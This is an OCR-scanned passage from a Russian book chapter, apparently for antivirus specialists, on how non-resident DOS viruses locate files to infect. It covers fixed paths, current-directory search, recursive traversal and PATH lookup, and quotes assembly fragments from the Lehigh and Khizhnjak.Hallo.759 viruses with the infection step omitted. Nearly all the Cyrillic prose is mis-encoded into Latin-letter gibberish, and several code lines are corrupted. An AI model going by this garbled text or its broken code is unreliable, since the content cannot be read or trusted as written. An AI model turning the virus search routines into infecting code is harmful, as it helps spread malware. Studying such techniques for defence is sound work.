JIOBOJTBHO «HABOPOUYEHHBII» BUpyc Marina.1296, co3aanmblii, 10 yBepe-
HISIM aBTOPA, «B IaMATh O HECYACTHOM JI00BK»>. J{eByIKiy, He oTBepraiire
MPOrpaMMUCTOB!

Kpome Toro, mopobHas TeXHMKa XapakTepHa /I TaK HA3bIBAEMBbIX
yruant-<«ynakoBiukosy (PKLITE, LZEXE u LZCOM, DIET, AINEXE,
TSCRUNCH u ripoune), KOTOpbIE MO3BOJISIIOT «yMEHbIIATh» (Dailsibl, 3a-
HUMaeMble mporpammamiu. [lemaercsa aTo Tak: ¢aiia mporpaMmbl «KOM-
[PECCUPYETCsT» TPU TOMOIIU KAKOTO-HUOY/[b M3BECTHOTO AJTOPUTMA
cxaTus fannubix (Hanpumep, LZW) u npurnvcbiBaeTcst B Bujie «BHYTpPEH-
HETo oBepJiesi» K MaJIeHbKOM ITPorpaMMKe, KOTopasi Py 3aIlycKe repemMe-
MIaeT CBOI KO/l B HEUCIIOJb3yeMble PETUOHBI TAMATH, «PACIIaKOBbIBACT»
B OCBOGOJIMBIIIEECS] MECTO CBOII «OBepJieii», HACTPAUBaeT B HEM IepeMe-
I[aeMble CCBIIKHU U Tepe/IaeT Ha Hero ynpasJjenue. Bripouem, 6piBaet, uto
«PaCIIaKOBBIBAJIBIIMK» CaM IPUITUCHIBACTCS K CXKATOU ITporpaMMme Harlo-
nobue BUpyca.

3.5. Hepe3anaeHTHbIe BUpYChI

— ...Bce, 6ce mawnu, — mnewacno cxazan 6opo-
damwul... — Bce nawnu u ewe noimewxa iyxy
6 npudauy!

A.u B. Crpyrarixue.
«B namre unTepecHoe BpeMs»

Jlo cux nop Mbl OO6XOAUIM BHUMAHUEM BOIIPOC: KAaKUM 00pa3oM BUPYChI
0OHAPYKUBAIOT CBOM sKePTBBI? HacTaso BpeMst BOCIOJIHUTH 3TOT TIPOOET.

Kak Mbl yske yIIOMUHAJIM PaHblle, [0 ¢roco0y Mmoucka keprs (aiiio-
BbI€ BUPYCHI MOTYT OBITh Pa3/le/ICHbI Ha J[BE OOJIBIINE IPYIIITHI — PE3UIEHT-
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Hble W Hepe3upeHTHble. OTIMYUTENbHBIM CBONHCTBOM HEPE3UICHTHBIX
BUPYCOB SIBJISIETCS TO, YTO UX «’KM3HEHHDBIN 1IUKJI», BKJIIOYAIONNI 2TAIlbI
HavyaJIbHOW MHUIMATIM3AIINH, TONCKA U 3apasKeHUs] JKePTB, YKJIa/IbIBaeTCs
BCET0 B HECKOJIbKO MIHOBEHUH cpasy I11ocJIe MoJyuyeHNsT UMU YTIPaBJIeHUsI.
BoinosiHuB cBoe «IpejiHa3HayeHue», Hepe3neHTHBI BUpYyC BO3Bpallla-
eT ylIpaBJieHle ITPorpaMMe-BUPYCOHOCUTEJIIO U «3aChIIIaeTs B 0KUIaHUT
OuY€epe/IHOTO 3aIyCKa 3TON ITPOrPaMMBbI.

PaccmoTpuM HECKOJIBKO HIMPOKO PaCcIPOCTPAHEHHbBIX aJITOPUTMOB T10-
HCKa MMOTeHI[MAJIbHBIX JKePTB, IPUMEHsIeMbIX B HEPe3U/IeHTHbIX BUPYCaXx.

3.5.1. MeToa npeponpeneneHHOro MecTonoJIoXXeHUs
dainnos

Wnes aToro MeToia 04eHb IPOCTa 1 OCHOBaHA Ha (haKTe, YTO MOUTU BCe
KOMIIBIOTEPDI, HA KOTOPBIX YCTAHOBJIEHBI «CTaHAAaPTHOE» IIPOTrpaMMHOE
obecrieueHre U «CTAHIAPTHBIN»> HAOOP HPUIOKEHUI, ¢ TOUKU 3PEHISI
pacroiosKeHusT IPOTPaMM Ha JKUCKe TOXOXKU IPYT Ha APYyTa, CIOBHO
GJIMBHETIBL.

M3BECTHO, YTO TOJBKO HECKOJBKO TPOIEHTOB HanboJiee «U3BpaIleH-
HBIX» 110JIb30BATE/IEN YCTAHABINBAIOT OMEPAIIMOHHYIO CUCTEMY Ha UCK
D: nm B kaTasior (Manky) ¢ 9K30THYECKUMHI MMeHaMu Tuna « W98» mim
«MustDie», B nogasJisioniem ke OOJIbIINHCTBE CAyYaeB /I 9TON 1e/n
UCIOJIb3YIOTCS AUCK ¥ KATAJIOT, MMEHA KOTOPBIX Tpearaiorest hupmoit
Microsoft 1o ymosuanuio, a umentno «C:\Windows» uan « C:A\WINNT».
A 5TO 03HAYAET, YTO C OrPOMHON BEPOSITHOCTHIO HA TAKOM KOMIIBIOTEPE
komanubiii miporeccop «COMMAND.COM» u wurpoBasi rnporpamma
«SOL.EXE» nexar B karanore «C\Windows», a cucremHast yTujiu-
ta «<DEBUG.EXE» — B xaranore «C:\Windows\COMMAND» u . 1.
C rtakoii ke noseil Bepositnoctu 15 Jiet masax Bce cucreMmibie haiibi
MS-DOS pacnonarajcs B katasore «C:\DOS», a nomysgpueiiias 060-
souka Norton Commander «xkuna» B «C:\NC».

Pasymeetcst, 970 06CTOSITEIBCTBO HE MOTJIA OOONTH CBOMM BHUMAHU-
em Bupyconucares. Hampumep, oJiluH 13 MepBLIX B UCTOPUU (DailmOBBIX
Bupycos, 3HamMeruThiil Lehigh, Huutoxke cymHsiecs: cpasy mbrrasicst 3a-
pasutb (aitn « COMMAND.COM», Haxoms1miicss B KOPHEBOM KaTaIore
TEKyIIero aucka. /lesias on 9To mpuMepHo TakK:

mov ah, 19h . OyHkums 19h - Homep Tekyuwero aucka
int 44h ; HamBHas xMTpocTb, Ha camom fene BhidbBaeTcs Int 21h
add al, 61h . TeHepauns OyKBbH MMEHM YCTPOMCTBA MO HOMEpy

mov bx, offset NAME
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mov [bx],al ; BcTaBka HyxHoM OykBbl B Ha4ano nytu ¢anna
mov dx, bx

mov ax, 3002h ; TlonbiTka OTKPLITL Gain KOMaHAHOTO npoueccopa
int 44h

NAME db "X:\COMMAND.COM", 0

ITpasza, fasee oH HauMHAI paboTaTh KaK PE3UICHTHBII BUPYC, HO BbI-
MEeNPUBEJICHHBIN (DparMeHT OTJIWYHO JEMOHCTPUPYET WMEHHO METO]
<IIPEOTIPeIeTIEHHOTO MeCTOIOMIOXKEeHNS (DAyIoB».

B kauectBe Apyrux mpuMepoB MOXKHO TPUBECTU CTAPUHHBIN BUPYC
Abraxas.1304, naunnatonmii pabory ¢ sapaxenus aiita «C:\DOS\
DOSHELL.EXE», u HeckosibKo Goiiee «cBexuii» supyc Truxested, 1bi-
TaIOTIIICS 3apasuTh HEKOTOPBIE, 3apaHee BHECEHHBIE B CIHCOK KEPTB,
aitaer B karasorax «C\DOS» u «C:\WINDOWS».

OnucaHHbIi METO/] TPUMEHSETCS B BUPyCax He CAUIKOM dacTo. [leii-
CTBUTEJIBHO, BeJIb BUPYCHI MPETEH/YIOT HA «BEUHYIO JKU3Hb», B TO BPeMs
KaK Bce TeueT u Bce uaMensiercd. Hampumep, xkaramor «C\DOS» ceii-
yac IPUCYTCTBYET JJAJeKO He Ha BCeX MalllMHAX, /la U Jaske TaM, Ijie OH
€CTh, BECbMa MAJOBEPOSITHO HAJMYME B 9TOM KaTajore (aiina 060T0IKHT
DOSSHELL u3 Bepcuu 5.0 oneparmonsoii cucrembl MS-DOS. A daiin
«C\COMMAND.COM» XOTb U SIBJISETCSI HEMPEMEHHBIM aTPUOYTOM
orepannoHHbIx cucreM cemeiicta Windows 9X, Ho pasmeraercst B Kop-
HEBOM KaTaJsore JIMIIb «B CIIPABOYHBIX 11€JIIX», B TO BpEMs KaK «aKTHB-
HOI1» SABJISIETCS KOIMS KOMaH/IHOTO IIPOIleccopa, 3arpyskaemas u3 daiiia
«CA\Windows\COMMAND.COM» (3T0 JIeTKO HPOBEPUTH, BHIMOJHIB
komauay SET 1 06paTiB BHUMaHNE Ha CTPOKY, OTIPEIEISIONIYI0 3HAUCHIe
nepeMmenHoit okpy:keans «COMSPEC»).

Crioco6 caMOCTOSITEJIHOTO YIQJIEHUST BUPYCOB, OOHAPYKUBAMOIINX
CBOM KEPTBBI 110 OIIMCAHHOMY AJTOPUTMY, KpaiiHe IIPOCT: HaJl0 BOCCTa-
HOBWTH 3apakeHHbIe (haflsbl, B3AB WX M3 AUCTPUOYTHUBA OMEPAIMOHHOI
CUCTEMBbI WJIN IPUKJIAJTHON TIPOTPAMMBI.

3.5.2. MeToa noucka B TeKyLiem Kartanore

ITO caMblii 3HAMEHUTBIHM METO/I, NCII0JIb3YEeMbIIl aBTOPaMi KOMIIbIOTEP-
HBIX BUPYCOB. IIpakTuuecku Kask/plil «CaMOyTBEPIKIAI0NINICS» BUPYCO-
nucaTesb HAUMHAET CBOIO JIesITeIbHOCTD UMEHHO € BUPYCa, Pa3blCKUBAIO-
IEr0 ¥ 3aPaskalolero CBOU «KEPTBBI» B TEKyIeM Karasore. B mo6oii
JOCTATOYHO OOJBINON BUPYCHON KOJIIEKIIUK TPEBATTUPYIOT UMEHHO Ta-
Kue, He Beera 6e3061/IHbIe, HO B TI000M CTydae — KpaifHe «THXOXOHbIE>
caMOPa3MHOJKAIOIIHECs IPOrpaMMBl. Jlaske ecaii 06paTUThCs K CKpUKa-
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JISIM, HA KOTOPBIX BBIOUTHI CKA3aHUS U JIETEH/IBI O CAMBIX PAHHUX Tarax
BUPYCHOI MCTOPUHU, OYEHDb TPYIHO HAWTHU MHOOPMAIIMIO O TOM, YTO Ka-
KO¥i-71160 yCTPOEHHBIH TT0J06HBIM 06Pa3OM BUPYC BbI3BAJ CKOJIb-HUOY/Ib
3aMETHYIO 3IUAEMUI0 Ha I0JIb30BATEJbCKUX KoMmIibloTepax. Hy passe
YTO MOKHO M3pe/Ka HalTh yInoMuHaHUsI O BUpycax cemeiicts Pixel u
Amstrad, yXuUTpsIBIIMXCSI MTyTENIECTBOBATH ¢ KOMITBIOTEPA HA KOMITBIO-
TEp B T€ TOJIbI, KOT/IA €/IMHCTBEHHBIM BAPUAHTOM HOCHUTEJISI 1JIs1 paOOTHI U
obOMeHa IporpaMMaMi CIYKUJIM THOKUE MATUII0NMOBBIE IMCKEThI 00b-
emom 360 K6.

Bipouem, cyliecTByer 1o KpaitHell Mepe OfHO MCKIo4eHue 13 o0iie-
'O TIpaBUJIa — KOMITBIOTEPHBIN BUPYC, KOTOPBIiA CTaJl HEBEPOSITHO U3BECT-
HBIM ¥ Pa3MHOXKUJICS B OTPOMHBIX KOJTMYECTBAX, HECMOTPS HA KPAMHIO
npumutusHocTs: Khizhnjak.Hallo.759 (u3Bectbiii Tak:ke 1101 MMeHAMM
Khijhnjak.759, C-759 u ap.). KoMmusm curyaiuu B TOM, 4TO 9TOT BUPYC
Pa3MHOKAJICS HE CAMOCTOATENBbHO, HO CTAPAHUAMM JIECATKOB U COTEH T10-
yurareseil «tpopuecTBay Hekoero I1. JI. XuKHsKa, OIyOIMKOBABILETO B
1991 1. TOHKYIO HEeB3pauHy0 OPOLIIOPKY 10| HasBaHueM «Iluiem Bupyc
u auTUBUpPYyC»> [32]. B 9TOM OIIyCe IpUBOAMIC NCXOAHbII acceMOIepPHbIIA
TEKCT KpaifHe MPUMUTUBHON, HEPSIIINBO U HEPAIMOHAJIBHO HATUCAHHOMN
CaMOPa3MHOKAIOIIENCS TIPOrPAMMBbI, 3apaskaBiiieil (hailjibl B TEKYIEM
karanore u coobmasiueii: «Hallo! I have got virus for you!». 9toro oka-
3aJI0CHh JIOCTATOYHO, YTOOBI COHMBI «CTPAKAYIIUX> KIUHYJIUCh HAOMPATH
BPYYHYIO TEKCT BUPYCa, UCIPABJIAS B MEPY CBOETO MOHUMAHUS 1 Pa3yMe-
HUSI UMEBIINECST B HEM OIITUOKHU, TIEPECTABJISISI MECTAMU HEKOTOPbIE KO-
MaH/bl U 3aMEHsIsl CTPOKY COOOIIEHUsT Ha CBOU COOCTBEHHbIE «KOMUpaii-
toi» Tuma: «KIPA Ver1.0 Sergey K. School 654 class 9» unu «Eprenny, Tot
crkotrHalll XA-XA-XAlll».

HacTosieii snugeMun, KOHeYHO, He ObL10. Ho B 1IKoJ1ax, Inuiesax, THM-
Ha3WsAX U MHCTUTYTAX B TeUeHUE HECKOJIBKUX JIET 110CJIe BBIXOIA KHIKKN
PETYJIAPHO PA3PAXKATUCH IECATKU «MUKPOITUAEMUI», UHUIIMHPOBAHHBIX
MIKO/IJINBBIMU PYYOHKAMU COIIUBBLIX <«BUpycomapatesueit». 1. JI. Xuxk-
HAK o6usics csoero. Ero uMs B cpejie BUPYCOJIOTOB U <IIPOJIBUHYTHIX>
BUpyconucaresieil CTajao HapuIaTeabHbIM.

Mertoj moncka «KepTB» B TEKYIIEM KaTaJIore OCHOBAH HAa COBMECTHOM
pabore napsl pyuximit MS-DOS: 4Eh «FindFirstFile» u 4Fh «FindNext-
File», nocrymmbix yepes nporpammuoe npepoisatiue 21h. Hepenko Bupy-
Chl, UCTIOJIB3YIOIIUE ATOT METOJl, HA3BIBAIOT TPOCTO «Search»-Bupycamu
(ot anruL. to search — uckarn).

Oyukiws ¢ kogoMm 4Eh nxunmanusupyer mpoiecce muKJInIecKoro mo-
HCKa ¥ IIbITAETCs HAUTH MepBbIi (haill, COOTBETCTBYIOMIMH TPeOyeMbIM
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Wckatb 1-biin
hann
Het 5
®aiin
HanaoeH?
Oa
BepHyTb ynpage- 3apasutb
neHwve xepree dhann

I |
. WckaTb cnepy-
HOLWWIA dhann

Ckorey > Mgl |

Puc. 3.5 < Anroputm paboTtsl search-Bupyca

Macke Torcka u (ailmosbiM arpubytam. Ilepel BBI3OBOM 3TON (hyHKIIUT
HeoOxouMo ioMectuth B peructp AH xox dyuknuu (uncio 4Eh), B pe-
ructp CX — HaGop GUTOBBIX aTpUOYTOB UCKOMOTO (hailia, a B PErnCTPo-
By10 mapy DS:DX — azipec TeKCTOBOI CTPOKH, 3a/aI01eli MACKy TTOMCKA.
IMepeuncinm 6utet B peructpe CX, 3aarotiue mpaBuia morcka (haiios:

6mT 0 — 3aUIICHHBIE OT 3aINCH;

6uT 1 — CKpBITHIE;

OUT 2 — CUCTEMHBIC;

6uT 3 — ailsibl THITA «<METKA TOMa»;

6uT 4 — Karajoru (Beb 510 ToxKe dailbi!);

6UT 5 — «apXUBUPOBAHHbIE> (hailibl.

Oyukrws ¢ kogoMm 4Fh tpeGyeT ToJbKO MOMECTUTD CBOI KO/l B PETHCTP
AH u BoizBaTh nipepbiBarre 21h. TIpu KaI0M BbI30Be OHA MOCJIEN0BA-
TEJILHO Tepebupaer Bee (ailyibl, COOTBETCTBYIOINIME YCIOBUIM, OMPEIe-
JieHHbIM B pyHKIimn 4Eh.

O6e GyHKIMK Bo3BpallaloT ycraHosaeHHbii B eaunuiy our CARRY
B peructpe (hIaroB, eCau CIMCOK <IIOAXOMANNX»> (hallIOB HMCYepIam.
B ciyudae ycrensoro 3aBepiienns o6e GyHKIUNA BO3BPAILAIOT OJIOK WH-
(hopmaruu co cienyioreii CTpyKTypOit:

(ONONCNONONE)
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Reserved db 15h dup (?)

Attr db ? ; +15h ATpubyThl HaligeHHoro ¢anna

Time dw ? ; +16h Bpems cospanns daina ( 6ute 0-4 —
; cekyHabl, 5-10 = muHyThl, 11-15 - yachl

Date dw ? ; +18h llata cosparua daina

Size dd ? ; +1Ah Pasmep daina

Name db 14 dup (?) ; +1Eh WUma daina B ¢opmate 8.3

Ira uHbOPMAIUs TTOMEIAETCS B CBA3aHHYIO € MPOrPaMMOil 061acTh
DTA — Data Transfer Area. ITo ymosuanuio obnacte DTA Haxomures 1o
azpecy DS:80h, To ecth B TOM ke paiioHe, KaKOW 3ape3epBUPOBAH IJIsI
pasMelieHnsT KOMaHIHOM cTpoku mporpammbl. 1loaTomy ouenbp MHOTHE
«KPUBO» HallMCaHHble BUPYyChl, paboratomme ¢ Gyukiuuamu 4Eh/4Fh,
COCOGHBI HEOOGPATUMO UCIIOPTUTH KOMAHAHYIO CTPOKY, TIEPeIaBaeMyio
nporpamme. BBITISIAUT 9TO, HAIpUMep, TaK: ITI0JIb30BATeJb 3aIlyCKaeT
opmaruposanue muckersr komauaoii «FORMAT A:», HO mporpamma
«FORMAT.COM>», 3apaskeHHas moJg0OHBIM HEKOPPEKTHO HANMCAHHBIM
BUPYCOM, YIIOPHO OTKAa3bIBAETCS BUIETh UMsI (POPMATUPYEMOIl [HCKe-
ThI. JIefiCTBUTEIBHO, B 00IACTH MAMSITH, MPEHA3HAYCHHYTO JIJISI CTPOYKU
«A:», pynkuuu 4Eh/4Fh Bo Bpems paboThl BUpyca yCIeBaloT IIOMECTUTh
aTpuOYTHI U TIPOUKE TIAPAMETPHI KAKOTO-TO (haiija, To eCTh, C TOYKH 3pe-
Hus mporpamMMbl « FORMAT», HepacriosnaBaemblii IBOMYHBIN MYCOP.

Bosiee akkypaTHO HamMCAHHbIE BUPYCHI HA BPEMsT CBOEi paboThI TpH
oMot GyHKImy ¢ kogoMm 1Ah uamensior Mectomnonokenne 06IacTH
DTA B namaTH, a TOTOM BO3BPAIAIOT €TI0 Ha MECTO.

Pacemorpum dparment smcrtutra supyca Khizhnjak.Hallo.759, wc-
HOJIb3YIONIMIA MeTO/ IoMcKa Ipu oMo Gyukimii 4Eh /4Fh:

; CoxpaHeHue obnacTtu PSP

mov cx, 0100
mov bx, 0000
Loopt:
mov al, cs:[bx]
mov Save[bx], al
inc bx
loop Loop1
; Tlonck nepBoro noaxopawero danna
lea dx, Mask[bx]
mov cx,0020 ; ATpubyTbl
mov ah, 4k ; FindFirstFile
int 21
jnc Infect ; Ha dparmeHT unduumposanna
jmp NoMore ; Ha dparmeHT 3aBepueHus
NextF:

; Mouck cnepyowero noaxoaswero ¢anna
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mov ah, 04F ; FindNextFile

int 021

jnc Infect ; Ha ¢parmeHT uHGuuMposaHus
jmp NoMore ; Ha oparmeHT 3aBepueHus

Infect:

; OparmeHT 3apaxeHus nporpammsl (NponyueH)

jmp NextF
; BoccTaHoBnenne obnactu PSP
NoMore:
mov cx, 0100
mov al, Save[bx]
mov cs: byte ptr [bx],al
inc bx

loop 000001A5
Mask: db "=.com’,0 ; Macka noucka daitnos

JIT06OMBITHO, YTO HTOT BUPYC JIasKe HE MBITAETCS MePEeHa3HAYNTh MeC-
tonoJjioxerue obaactu DTA npu nomonu dyukiuu 1Ah. Bmecro aToro
OH TIepe/l HaYaIoM PaboThI COXPAHSET T/IE-TO «B UYJIaHUMKe», a TIePe] 3a-
BepIIeHNEM — BOCCTaHABJIMBAET BeCh 256-0aliTOBBIN (DparMeHT IaMsTH,
conepskamuii PSP u komananyio ctpoky. Tem He MeHee pe3ysbraT OKasbl-
BaeTCs JOCTUTHYT — 3apaKeHHas [IPOTpaMMa He TepsieT IOCTYTa K CBOei
KOMAaHJTHOH CTPOKe.

Hepenxo mporpammsl, 3apakennbie «Search»-Bupycamu, MOKHO pac-
MO3HATh, IaXKe He MBITAsACh AU3acCeMOIMPOBATh UX KOA. /[0 B TOM, 4TO
ecam obmacts DTA coxpaHsieTcst BMeCTe ¢ BUPYCOM, TO BHYTPH 3apaskeH-
HO TPOTPAMMBI «Ha IPOCBETS> BUHBI TEKCTOBBIE CTPOKU — MM 3aPAKEH-
HOII TPOTPAMMBI I MacKa. BoT ¢parMeHT namra mporpaMMbl, 3apakeHHON
supycoM Bebe.1004, B kotopom yeTko Bbizessioress Macka «*.COM» u
nms 3apakerHoro daiira «COMMAND.COM»:

0C 01 00 00-00 00 00 00-00 00 00 00-05 00 2A 2E .............. *

43 4F 4D 00-80 00 78 1D-01 3F 3F 3F-3F 3F 3F 3F COM.A.x..?77777?
3F 43 4F 4D-3F 02 00 00-00 00 00 00-00 20 7B OA ?COM?......... {.
4C 18 02 00-00 00 43 4F-4D 4D 41 4E-44 2E 43 4F L..... COMMAND. CO
4D 00 00 00-00 00 00 00-58 2E A3 CC-01 58 1E 06 M....... X.r.. X

CD CD CD CD-CD 20 56 49-52 55 53 21-20 CD CD CD ----- VIRUS! ---
CD CD CD BB-BA 20 53 6B-61 67 69 20-22 62 65 62 ---+: Skagi "beb
65 22 20 3E-20 20 20 20-20 BA C8 CD-CD CD CD CD e” > B
CD CD CD CD-CD CD CD CD-CD CD CD CD-CD €D CD BC --------------- +
BA 20 20 20-20 20 46 69-67 20 54 65-62 65 20 21 : Fig Tebe

«Search»-Bupycobl 04eHb JIETKO MUIITYTCST U HA SI3BIKAX BHICOKOTO YPOB-
Ha. B a3bike Cu g nouncka daiisioB ucmosb3yercss napa GyHKIUA ¢
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umenamu findfirst() u findnext(), umeroTcs aHAJIOTHYHBIE TTPOLEAYPHI U
B [Tackare.

Cuiefryer ymoMsiHy Th, 4TO CYIIECTBYIOT U JIPYTHE CIOCOObI TTIOUCKa (haii-
JIOB B YKa3aHHOM KaTaJIOTe.

Hanpuwmep, co Bpemen MS-DOS v1.0 coxpanusack napa GpyHKIui ¢
kogamu 11h/12h, ucnonssyomux B csoeit pabore o6mactb mamsitu FCB —
File Control Block. Ho undopmarius, Bosppaiiaemast aTumMu hyHKISAMHE,
HECKOJIbKO HEey100HA JIJIs1 HEMEJIJIEHHOTO UCII0JIb30BAHMSI BHYTPH BHPYCA.
CamopasMHOzKaIoIIecs IIporpaMmMbl, ucrosbayionue pyakiuuu 11h/12h,
CYIIECTBYIOT, HO UX HEMHOTO.

Kpome toro, B8 MS-DOS Bepcuii 7.X, M”HTErpUPOBAHHBIX B OIll€epa-
1uoHHble cucTeMbl cemeiictBa Windows 9X, mpucyrcTByioT (GyHKIUN
714Eh/714Fh pg nowcka hailioB ¢ «IIMHHBIMU» MMeHaMu. Ho K Mo-
MEHTY, KOTJIa OHU TOSIBUJIKCH, «Search»-BUPYCHI yiKe BBIILIN U3 MOJIBI
HACTOJIBKO, YTO <«IIPOJIBUHYTHIX> BUPYCOIMCATENEH OHU YyKe He UHTepe-
COBAJIM, & «CTY/IEHTBI» BIOJHE 0OXOAMIUCH COXPAHSIONIUME CBOIO pabo-
TOCHOCOOHOCTD B HOBBIX ycaoBusx dyukiusamu 4Eh /4Fh.

3.5.3. MeTop peKkypcMBHOro o6xoaa AepeBa KaTanoros

Etrte 60Jiee «IIpoIBUHY THIET» METOJI, HCIIOJIb3YEMBIH B KOMITBIOTEDHbBIX BU-
pycax, IperyCMaTpPUBAET TTOUCK «KEPTB» BO BCEX KATAJIOTrax JUCKOBOTO
yerpoiictBa. OH OCHOBAH Ha CJIEAYIONINX TPETOCHLIKAX.
Ecuu B Gaiite arpubyToB, oMeraeMoM riepe]] BbizoBoM (yrkimu 4Eh
B peructp CL, ycTaHOBUTH GUT ¢ HOMEPOM 4, TO B CIIMCOK TI€PEUNCIsie-
MbIX (hailJIOB MOMALYT HE TOJHKO 00bIUHbBIE (hailyibl, HO U Katajoru. J{Js
TOro 4TOObBI IIEPEMECTUTLCS B HANAECHHDBII TakiuM 06pasoM KaTaor (cie-
JIATh €TO TEKYyIUM), omeparmonnas cuctema MS-DOS mnpenocrasiser
nporpammucty GyHkimo ¢ kogoMm 3Bh. Tlepen ee BbI30BOM [0CTATOUHO
yKazaTtb B peructpoBoii nape DS:DX azipec myTu K ykazaHHOMY KaTaJiory.
Komneuno, aToro Majio ijist oJTHOIIEHHON HAaBUTAIIUU 110 (hailjIoBOH CH-
creme. Kak MuHuMyM notpebyroTcest ete:
O  dyuxius ¢ kogoM 47h, KoTopas 103BOJISIET OLPEIEJUTh IIYTh K Te-
KyIIeMy KaTaJory;
O  dyuxius ¢ kogom 25h, KoTopas M03BOJSET OIPEAEIUTD KO TEKY-
IETO TMCKOBOTO YCTPOUCTBA,;
O ¢yuxkius ¢ kogom 0Eh, koropas nossosser 3aduKCUpoBaTh yKa-
3aHHOE TUCKOBOE YCTPOICTBO B KAYECTBE TEKYIIETO.
Cawma 1poiieiypa rmomcka Toke J0BOJIbHO HeTpuBuasbHa. Katajoru na
JIMCKOBOM YCTPOCTBE 00PasyiOT APEBOBUAHYIO CTPYKTYPY, U JJISI TOTO
4yTOOBI IIOOBIBATD B KaK/[0M y3JIe 9TOTO JiepeBa, He0OX0AUMO Pealn3oBaTh
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PEKYPCUBHBII alTOPUTM UX 00X0/1a. ITa 3a/[a4a CPABHUTEJHHO JIETKO Pe-
MIAeTCs Ha S3BIKAX BBICOKOTO YPOBH:, TakuX Kak [Tackasp nim Cu, HO BbI-
3BIBAET PsI/] 3aTPY/THEHUIT TPH MOTBITKE UCIIOJIB30BATh sI3bIK AccemObiiepa.
HeobxoauMo st Kaskgoro yaia (Katajora) MMeTh CBOW YHUKaJIbHBII
KOHTeKCT (pabouyio 061acTh IIaMATH 11 XpaHeHs IepeMeHHbIX 1 DTA)
U YMETh OPTAHU30BBIBATD «OTKATBI» B TOM CJIydae, KOr/a 00X0J1 J0YePHUX
BETBEH 7151 JIAHHOTO y37a (TIOIKATAJIOTOB I PACCMATPHUBAEMOTO KaTa-
Jiora) 3aBepiien. [[Jis1 aTOro ajipec KoHTekcTa (2 UHOT/IA U BECh KOHTEKCT )
MPUXOJIUTCS COXPAHATD B CTEKE... OJ[HUM CJIOBOM, [Tl HAYMHAIONUX BU-
pycornucaresieil 3ajiaua PeKypCHBHOTO 00XO/ia JIepeBa KAaTaJOTOB YacTo
OKA3bIBAETCS CJUIIKOM CJOKHOM. Ellle oMH HEZ0CTaTOK TaKoro poja
BUPYCOB (BIIpOYEM, Ui 3JI0OYMBIIIJICHHUKOB 9TO <HEIOCTATOKY, a JIJId
M0JIb30BATENIEH 9TO <JOCTOMHCTBO») — JIOBOJIBHO JIOJITasl, CPa3y 3aMeT-
Hast JIJIs1 YyTKOTO yXa U 30PKOro riasa pabora. HemyapeHo, 4To0 BUPYCHI,
HCIOJIB3YIOINIHE 3TOT METOJI, MOKHO MEPECUUTATD 110 HAJbI[aM, U OOJIbIIe
MOJIOBUHBI U3 HUX oTHOCcsATCS K kiaaccy HLL. Bot Heckosbko mpuMepos:
Em.1303, Zipper.2779, HLLP.3678 u mpourte.

Bupycoricaresb MOKET TO3BOJUTDH cebe 3apaXkaTh JIAIIb HEKOTOPbIE
[IPOTPAMMBI, aBTOP K€ aHTHUBHUPYCA OOsI3aH MPOBEPSITH «HA BIIHMBOCTD>
Bee haiisibl Ha yKazaHHOM JucKe. [ToaToMy crieruanucty, paspabarbiBaio-
[[eEMY aHTHBHUPYC-CKaHepP, YMeHHe 0OXOIUTh AUCKOBbIE KATATIOTH TPOCTO
HEeoOXOIUMO.

B npusioxxenun npuBezsieHbl TPUMEPHI TIPOIEAYDP, CKAHUPYIONUX /IHC-
KOBbBIE KaTaJI0rTu. VIMEHHO OIHOM U3 HUX 11E1€CO00Pa3HO «IIOPYUYHUTh> Bbl-
308 nporenyp infect() u cure().

3.5.4. MeTon noucka no «rTpone»

JloBosbHO aBHO, ¢ KoHIla 80-x rogoB XX Beka, BUPYCOIHUCATESIMUA OC-
BoeH 3(D(PEKTUBHBIN aJTOPUTM «OOIIAPUBAHUS» [MCKA, HE TPEOYIOIINil
HoJHOro 00Xo/a Beex ero karaioros. OCHOBaH OH Ha CyIIECTBOBAHUU
B MS-DOS 1 Windows MexaHuaMa aBTOMaTUYECKOIO IIOMCKA IIPOrPaMM
B 3apaHee MpeoTIpeIeJIeHHBIX KaTajorax. B Te «BeTxo3aBeTHbIE» BpeMe-
Ha, KOT/a He [OJIyYHJIU ellle PACIPOCTPAHEHUSI CEPBUCHBIE 0O0JI0YKU THIIA
Norton Commander, 1101b30BaTe/I0 IPUXOAUAOCH OOIMIATLCS ¢ CUCTEMOI
TOJIbKO IIPU IIOMOLIM KOMaHJ, HabupaeMbIX Ha Kjasuarype. Pasymeer-
Cs1, €CJIU IIPOrPaMMbl, KOTOPbie TPebOBAIOCH 3aIlyCKaTh, PACIIOJIATaIiCh
B Pa3IMUYHBIX KaTajoTaxX AKWCKA, TO MOJIb30BATENI0 WHOTAA TPUXOINIOCH
«ITyTENIECTBOBAThY> TI0 CJOKHOMY JEPEBY KaTaJoOroOB IOBOJBHO JOJITO,
MPEsKIEe YeM OH OKA3bIBAJICS B HYKHOM MECTE W IOJydal BO3MOKHOCTD
3aIyCTUTh JKejaaeMyio mporpammy. CrenuaabHO IS TaKUX CJIydaeB
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B MS-DOS 6bu1 npeaycMOTpeH MeXaHU3M CO3/aHHusl CIUCKa 3apaHee
MpeoTpe/Ie/ICHHBIX  KaTaJOTOB, B KOTOPbIX KOMaH/HBIH IIPOIECCOp
«COMMAND.COM> nbITasicd nckarb 3aiyckaeMble TPOrPaMMbl, OTPasK-
Jlast TOJIb30BATENsA OT HEOOXOAUMOCTH BPYYHYIO MEpPEMEIaThCsl B 9TH
KaTaJIOTH. YIOMSIHYTBII MEXaHU3M JIOKUJI JI0 CUX TI0P JIaske BO BIIOJIHE
COBPEMEHHBIX OIepallMOHHbIX crcTeMax cemeiicrBa Windows. dror cim-
cok 3az1aetcs B KoHburyparmonnbix daiinax «<AUTOEXEC.BAT» unu
«AUTOEXEC.NT» npu nomoriu ctpok tutia «path karamorti;karasor2;...
katanorN» nim «set path=karasnorl;karanor2;... karanorN». B coBpemen-
Hbix Bepcusix Windows oH xpanutcst B Peectpe.

[Tocsie 3arpy3ku onepanmoHHON CUCTEMBI 3TH CIIUCKH TTONAIAI0T B CUL-
cmemioe oxpyicenue (environment), To ecTh B 0011yI0 06JaCTh MAMSTH,
JOCTYIIHYIO Cpa3y /Il BCeX MPOrPaMM U COJIEPIKAILYIO KaK1e-TO BasKHbIe
CIpaBoYHble JaHHble. JTa MHGOPMAIME XPAHUTCHI B TEKCTOBOM BUJIE.
[IpocMoTpeTh ee MOKHO OY€Hb IIPOCTO — TIPU TTOMOIIHM KOMaHIbl «SET>,
BBeJIEHHOM ¢ KJaBUATYpbl. OKpysKeHUe MOXKET BbITJISA/IETh, HAIIPUMED, TaK:

WINDIR=C: \WINDOWS ; Katanor, B koTopwbit ycTaHoBneHa 0C
